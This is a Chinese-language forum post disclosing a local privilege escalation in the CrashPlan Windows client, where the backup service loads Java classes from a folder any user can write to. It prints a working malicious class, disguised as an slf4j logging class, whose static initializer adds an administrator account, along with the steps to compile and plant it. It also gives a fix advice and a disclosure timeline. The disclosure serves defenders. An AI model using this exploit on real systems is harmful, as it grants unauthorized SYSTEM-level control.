Crashplan Windows客户端本地提权漏洞

Track-宁邪   ·   发表于 2018-03-14 15:52:30   ·   漏洞文章

本文是关于CrashPlan Windows客户端4.8.2.4版本,存在本地提权漏洞的相关通报及技术分析。该漏洞可被本地任意用户所滥用,并获取对操作系统的全面控制权限。当前,该漏洞已在完全修复的英文版Windows 7 x64上进行了验证。

根本问题在于Windows服务“CrashPlan备份服务”从不安全的文件系统位置C:\ProgramData\CrashPlan中加载和执行文件。

1Screen-Shot-2017-05-22-at-09.46.00.png

其中,Java Class文件被搜索并最终从那里被加载。这会导致CLASS side-loading漏洞。

2Screen-Shot-2017-05-22-at-09.31.47.png

有关此文件夹的特殊情况是默认文件系统ACL,它允许任意本地用户追加新的文件。

3Screen-Shot-2017-05-22-at-09.43.23.png

因此,可以删除恶意文件。为了利用它,我构建了以下Java类

package org.slf4j.ext;import java.io.Serializable;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.util.Date;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.beans.XMLDecoder;import java.beans.XMLEncoder;import java.beans.ExceptionListener;/**
 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 * 
 * @author Ralph Goers
 */public class EventData implements Serializable {  static
    {    try {
    		Runtime rt = Runtime.getRuntime();
      Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
    } catch (Exception e) {
            e.printStackTrace();
        }
    }    /**
     * Default Constructor
     */
    public EventData() {
    }
}

要注入自己的命令,我们利用Java静态初始化程序。这些在JVM加载类后会被立即执行。编译它只需使用javac:

javac EventData.java

最后,将编译的Java类文件放入待创建的文件夹C:\ProgramData\CrashPlan\lang\org\slf4j\ext中

4Screen-Shot-2017-05-22-at-10.34.22.png

系统重启后,此Java类将被加载,我们的代码将以SYSTEM权限被执行。在这个例子中,攻击者在操作系统添加了一个本地管理员账户。

5Screen-Shot-2017-05-22-at-10.37.23.png

修复建议

尽快将漏洞版本升级为最新版。

Timeline

2017.5.18:漏洞确认

2017.5.22:记录并通知厂商

2017.5.25:厂商确认漏洞并紧急修复

2017.6.13:修复版发布。并发布了相关说明

2018.2.15:公开披露


打赏我,让我更有动力~

0 条回复   |  直到 2018-3-14 | 1274 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.